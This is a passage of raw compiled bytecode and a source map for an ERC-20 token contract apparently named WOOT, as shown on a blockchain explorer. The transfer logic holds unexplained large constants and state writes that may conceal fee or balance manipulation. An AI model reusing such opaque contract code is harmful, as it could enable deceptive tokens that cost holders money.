0518082815260200191505060405180910390f35b348015610d1c57600080fd5b50610d25611728565b60405180821515815260200191505060405180910390f35b348015610d4957600080fd5b50610d5261173b565b6040518082815260200191505060405180910390f35b348015610d7457600080fd5b50610dd760048036036040811015610d8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611741565b6040518082815260200191505060405180910390f35b348015610df957600080fd5b50610e026117c8565b6040518082815260200191505060405180910390f35b348015610e2457600080fd5b50610e6760048036036020811015610e3b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b005b348015610e7557600080fd5b50610e7e6119bc565b6040518082815260200191505060405180910390f35b348015610ea057600080fd5b50610ea96119c2565b60405180821515815260200191505060405180910390f35b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f7f5780601f10610f5457610100808354040283529160200191610f7f565b820191906000526020600020905b815481529060010190602001808311610f6257829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610fc1610fba611af3565b8484611afb565b6001905092915050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601654905090565b600c5481565b600061100e848484611cf2565b506110d08461101b611af3565b6110cb85604051806060016040528060338152602001612d5060339139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611081611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a69092919063ffffffff16565b611afb565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b600061117861112d7f000000000000000000000000000000000000000000000000000000000000000061129f565b61116a6111597f000000000000000000000000000000000000000000000000000000000000dead61129f565b60165461246690919063ffffffff16565b61246690919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600d5481565b60006112436111a7611af3565b8461123e85600760006111b8611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b611afb565b6001905092915050565b60136020528060005260406000206000915054906101000a900460ff1681565b60095481565b60126020528060005260406000206000915054906101000a900460ff1681565b601e5481565b60085481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112f0611af3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180612d24602c913960400191505060405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60185481565b60195481565b60205481565b60175481565b601c5481565b60156020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115525780601f1061152757610100808354040283529160200191611552565b820191906000526020600020905b81548152906001019060200180831161153557829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061164561158f611af3565b8461164085604051806060016040528060308152602001612e8f60309139600760006115b9611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a69092919063ffffffff16565b611afb565b6001905092915050565b600061166361165c611af3565b8484611cf2565b506001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008183106116a5578190506116bb565b8160028401106116b7578190506116bb565b8290505b92915050565b600b5481565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60146020528060005260406000206000915054906101000a900460ff1681565b600e816004811061171d57600080fd5b016000915090505481565b601b60159054906101000a900460ff1681565b600a5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601f5481565b6117d6611af3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180612d24602c913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180612e5d6032913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b601b60169054906101000a900460ff1681565b6000808314156119e85760009050611a55565b60008284029050828482816119f957fe5b0414611a50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612d83602d913960400191505060405180910390fd5b809150505b92915050565b6000611a808383604051806060016040528060268152602001612cac60269139612493565b905092915050565b600080828401905083811015611ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180612e366027913960400191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b81576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180612ddd602f913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612db0602d913960400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180612ebf6030913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180612cf6602e913960400191505060405180910390fd5b601b60149054906101000a900460ff1615611e2657611e1f848484612559565b905061239f565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611eca5750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2b57601854821115611f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612cd26024913960400191505060405180910390fd5b5b6000611f363061129f565b905060006017548210159050808015611f5c5750601b60149054906101000a900460ff16155b8015611fb25750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fdc57601b60159054906101000a900460ff1615611fd25760175491505b611fdb82612885565b5b601b60169054906101000a900460ff1680156120425750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121025760195461208d6120766103e8612068602054896119d590919063ffffffff16565b611a5b90919063ffffffff16565b61207f8861129f565b611a8890919063ffffffff16565b1115612101576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f57616c6c6574204c696d69742121436865636120616761696e2e00000000000081525060200191505060405180910390fd5b5b61217b6121566121316103e8612123602054896119d590919063ffffffff16565b611a5b90919063ffffffff16565b7e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b7e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b600e60036004811061218957fe5b01819055506121e16121ba6103e86121ac602054886119d590919063ffffffff16565b611a5b90919063ffffffff16565b85037e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b600e6002600481106121ef57fe5b0181905550601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615806122975750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8061233f5750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061233e5750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b1561235b5761044d601e6000828254019250508190555061238c565b61de16601d54146123735761236e61295b565b61238b565b610842601e600082825401925050819055601d819055505b5b612397868686612559565b506001925050505b9392505050565b6000838311158290612453576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124185780820151818401526020810190506123fd565b50505050905090810190601f1680156124455780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600061248b83836040518060600160405280602a8152602001612e0c602a91396123a6565b905092915050565b6000808311829061253f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156125045780820151818401526020810190506124e9565b50505050905090810190601f1680156125315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161254b57fe5b049050809150509392505050565b60006125e4826040518060400160405280601881526020017f496e73756666696369656e74436865636120616761696e2e0000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a69092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610999601e819055600e60016004811061263d57fe5b0181905550601b60149054906101000a900460ff1615612681576000600e60036004811061266757fe5b018190555081600e60026004811061267b57fe5b01819055505b60006126be600e60026004811061269457fe5b01546063017e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b905061271281600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b6600e60036004811061276657fe5b0154600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610999601e819055600e60016004811061280f57fe5b01819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6001601b60146101000a81548160ff0219169083151502179055506128a9816129ca565b6000479050600081111561292157600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561291f573d6000803e3d6000fd5b505b6101a1601e819055600e60016004811061293757fe5b0181905550506000601b60146101000a81548160ff02191690831515021790555050565b6001601e54600a601e546104a301030103601d819055506b066c6ef08e51006c03a941dc600e60036004811061298d57fe5b0160008282540192505081905550601e54601d81905550610999601e819055600e6001600481106129ba57fe5b0181905550601e54601d81905550565b6000600267ffffffffffffffff811180156129e457600080fd5b50604051908082528060200260200182016040528015612a135781602001602082028036833780820191505090505b509050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612a7e57600080fd5b505afa158015612a92573d6000803e3d6000fd5b505050506040513d6020811015612aa857600080fd5b810190808051906020019092919050505081600181518110612ac657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600081518110612b0e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b7530601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611afb565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612c39578082015181840152602081019050612c1e565b505050509050019650505050505050600060405180830381600087803b158015612c6257600080fd5b505af1158015612c76573d6000803e3d6000fd5b50505050601e54601d8190555061a512601e819055600e600160048110612c9957fe5b0181905550601e54601d81905550505056fe536166654d6174683a206469766973696f6e206279207a65726f436865636120616761696e2e6578636565647320746865206d61785478416d6f756e742e436865636120616761696e2e574f4f543a207472616e7366657220746f20746865207a65726f2061646472657373436865636120616761696e2e4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572436865636120616761696e2e574f4f543a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365436865636120616761696e2e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436865636120616761696e2e574f4f543a20617070726f766520746f20746865207a65726f2061646472657373436865636120616761696e2e574f4f543a20617070726f76652066726f6d20746865207a65726f2061646472657373436865636120616761696e2e536166654d6174683a207375627472616374696f6e206f766572666c6f77436865636120616761696e2e536166654d6174683a206164646974696f6e206f766572666c6f77436865636120616761696e2e4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373436865636120616761696e2e574f4f543a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f436865636120616761696e2e574f4f543a207472616e736665722066726f6d20746865207a65726f2061646472657373436865636120616761696e2ea2646970667358221220310ffd8dabf149524881c68948fad21157a0b4e17526833edc38e16ce70e25c864736f6c63430007060033
Deployed Bytecode Sourcemap
11637:10636:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11837:97;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15566:85;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12167:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;16711:163;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13234:43;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15831:102;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12550:37;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;17782:326;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12077:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;17224:158;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15744:85;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12594:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;16205:220;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12763:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12417:38;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12704:52;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13519:36;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12375:35;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15935:121;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3119:232;;;;;;;;;;;;;:::i;:::-;;13082:63;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13158:62;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13601:35;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12985:81;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13439:38;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12872:50;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;2904:81;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15653:89;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12036:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;16427:282;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;17607:169;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;11941:88;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;20385:138;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12506:37;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13284:28;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12811:54;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12635:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13343:47;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12462:37;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;16058:145;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13562:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3353:258;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13482:35;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13395:37;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;11837:97;;;;;;;;;;;;;:::o;15566:85::-;15605:13;15638:5;15631:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15566:85;:::o;12167:83::-;;;:::o;16711:163::-;16788:4;16805:39;16814:12;:10;:12::i;:::-;16828:7;16837:6;16805:8;:39::i;:::-;16862:4;16855:11;;16711:163;;;;:::o;13234:43::-;;;;;;;;;;;;;:::o;15831:102::-;15886:7;15913:12;;15906:19;;15831:102;:::o;12550:37::-;;;;:::o;17782:326::-;17882:4;17899:36;17909:6;17917:9;17928:6;17899:9;:36::i;:::-;;17946:132;17955:6;17963:12;:10;:12::i;:::-;17977:100;18015:6;17977:100;;;;;;;;;;;;;;;;;:11;:19;17989:6;17977:19;;;;;;;;;;;;;;;:33;17997:12;:10;:12::i;:::-;17977:33;;;;;;;;;;;;;;;;:37;;:100;;;;;:::i;:::-;17946:8;:132::i;:::-;18096:4;18089:11;;17782:326;;;;;:::o;12077:83::-;;;:::o;17224:158::-;17279:7;17306:68;17351:22;17361:11;17351:9;:22::i;:::-;17306:40;17323:22;17333:11;17323:9;:22::i;:::-;17306:12;;:16;;:40;;;;:::i;:::-;:44;;:68;;;;:::i;:::-;17299:75;;17224:158;:::o;15744:85::-;15787:5;15812:9;;;;;;;;;;;15805:16;;15744:85;:::o;12594:34::-;;;;:::o;16205:220::-;16295:4;16312:83;16321:12;:10;:12::i;:::-;16335:7;16344:50;16383:10;16344:11;:25;16356:12;:10;:12::i;:::-;16344:25;;;;;;;;;;;;;;;:34;16370:7;16344:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;16312:8;:83::i;:::-;16413:4;16406:11;;16205:220;;;;:::o;12763:47::-;;;;;;;;;;;;;;;;;;;;;;:::o;12417:38::-;;;;:::o;12704:52::-;;;;;;;;;;;;;;;;;;;;;;:::o;13519:36::-;;;;:::o;12375:35::-;;;;:::o;15935:121::-;16003:7;16030:9;:18;16040:7;16030:18;;;;;;;;;;;;;;;;16023:25;;15935:121;;;:::o;3119:232::-;3038:12;:10;:12::i;:::-;3028:22;;:6;;;;;;;;;;:22;;;3020:79;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3228:42:::1;3191:81;;3212:6;::::0;::::1;;;;;;;;3191:81;;;;;;;;;;;;3300:42;3283:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;3119:232::o:0;13082:63::-;;;;:::o;13158:62::-;;;;:::o;13601:35::-;;;;:::o;12985:81::-;;;;:::o;13439:38::-;;;;:::o;12872:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;2904:81::-;2944:7;2971:6;;;;;;;;;;;2964:13;;2904:81;:::o;15653:89::-;15694:13;15727:7;15720:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15653:89;:::o;12036:34::-;;;;;;;;;;;;;:::o;16427:282::-;16522:4;16539:140;16548:12;:10;:12::i;:::-;16562:7;16571:107;16610:15;16571:107;;;;;;;;;;;;;;;;;:11;:25;16583:12;:10;:12::i;:::-;16571:25;;;;;;;;;;;;;;;:34;16597:7;16571:34;;;;;;;;;;;;;;;;:38;;:107;;;;;:::i;:::-;16539:8;:140::i;:::-;16697:4;16690:11;;16427:282;;;;:::o;17607:169::-;17687:4;17704:42;17714:12;:10;:12::i;:::-;17728:9;17739:6;17704:9;:42::i;:::-;;17764:4;17757:11;;17607:169;;;;:::o;11941:88::-;;;;;;;;;;;;;:::o;20385:138::-;20451:7;20470:1;20467;:4;20463:17;;20479:1;20472:8;;;;20463:17;20494:1;20491;20489;:3;:6;20485:19;;20503:1;20496:8;;;;20485:19;20516:1;20509:8;;20385:138;;;;;:::o;12506:37::-;;;;:::o;13284:28::-;;;;;;;;;;;;;:::o;12811:54::-;;;;;;;;;;;;;;;;;;;;;;:::o;12635:68::-;;;;;;;;;;;;;;;;;;;;:::o;13343:47::-;;;;;;;;;;;;;:::o;12462:37::-;;;;:::o;16058:145::-;16141:7;16168:11;:18;16180:5;16168:18;;;;;;;;;;;;;;;:27;16187:7;16168:27;;;;;;;;;;;;;;;;16161:34;;16058:145;;;;:::o;13562:34::-;;;;:::o;3353:258::-;3038:12;:10;:12::i;:::-;3028:22;;:6;;;;;;;;;;:22;;;3020:79;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3464:1:::1;3444:22;;:8;:22;;;;3436:85;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3566:8;3537:38;;3558:6;::::0;::::1;;;;;;;;3537:38;;;;;;;;;;;;3595:8;3586:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3353:258:::0;:::o;13482:35::-;;;;:::o;13395:37::-;;;;;;;;;;;;;:::o;1624:242::-;1682:7;1711:1;1706;:6;1702:47;;;1736:1;1729:8;;;;1702:47;1752:9;1768:1;1764;:5;1752:17;;1797:1;1792;1788;:5;;;;;;:10;1780:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1857:1;1850:8;;;1624:242;;;;;:::o;1868:144::-;1926:7;1953:51;1957:1;1960;1953:51;;;;;;;;;;;;;;;;;:3;:51::i;:::-;1946:58;;1868:144;;;;:::o;1107:182::-;1165:7;1185:9;1201:1;1197;:5;1185:17;;1226:1;1221;:6;;1213:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1280:1;1273:8;;;1107:182;;;;:::o;177:115::-;230:15;273:10;258:26;;177:115;:::o;16876:348::-;16986:1;16969:19;;:5;:19;;;;16961:79;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17078:1;17059:21;;:7;:21;;;;17051:79;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17162:6;17132:11;:18;17144:5;17132:18;;;;;;;;;;;;;;;:27;17151:7;17132:27;;;;;;;;;;;;;;;:36;;;;17200:7;17184:32;;17193:5;17184:32;;;17209:6;17184:32;;;;;;;;;;;;;;;;;;16876:348;;;:::o;18114:2019::-;18201:4;18235:1;18217:20;;:6;:20;;;;18209:81;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18330:1;18309:23;;:9;:23;;;;18301:82;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18397:16;;;;;;;;;;;18394:1732;;;18447:41;18462:6;18470:9;18481:6;18447:14;:41::i;:::-;18440:48;;;;18394:1732;18535:15;:23;18551:6;18535:23;;;;;;;;;;;;;;;;;;;;;;;;;18534:24;:55;;;;;18563:15;:26;18579:9;18563:26;;;;;;;;;;;;;;;;;;;;;;;;;18562:27;18534:55;18531:167;;;18629:12;;18619:6;:22;;18611:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18531:167;18703:28;18734:24;18752:4;18734:9;:24::i;:::-;18703:55;;18773:37;18837:32;;18813:20;:56;;18773:96;;18888:32;:53;;;;;18925:16;;;;;;;;;;;18924:17;18888:53;:78;;;;;18946:12;:20;18959:6;18946:20;;;;;;;;;;;;;;;;;;;;;;;;;18945:21;18888:78;18884:278;;;19000:25;;;;;;;;;;;18997:104;;;19069:32;;19046:55;;18997:104;19108:36;19123:20;19108:14;:36::i;:::-;18884:278;19179:16;;;;;;;;;;;:51;;;;;19200:19;:30;19220:9;19200:30;;;;;;;;;;;;;;;;;;;;;;;;;19199:31;19179:51;19176:193;;;19313:10;;19241:68;19266:42;19303:4;19266:32;19279:18;;19266:6;:12;;:32;;;;:::i;:::-;:36;;:42;;;;:::i;:::-;19241:20;19251:9;19241;:20::i;:::-;:24;;:68;;;;:::i;:::-;:82;;19233:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19176:193;19380:220;19393:131;19406:42;19443:4;19406:32;19419:18;;19406:6;:12;;:32;;;;:::i;:::-;:36;;:42;;;;:::i;:::-;19449:74;19393:12;:131::i;:::-;19525:74;19380:12;:220::i;:::-;19371:4;19376:1;19371:7;;;;;;;;:229;;;;19638:140;19660:42;19697:4;19660:32;19673:18;;19660:6;:12;;:32;;;;:::i;:::-;:36;;:42;;;;:::i;:::-;19651:6;:51;19703:74;19638:12;:140::i;: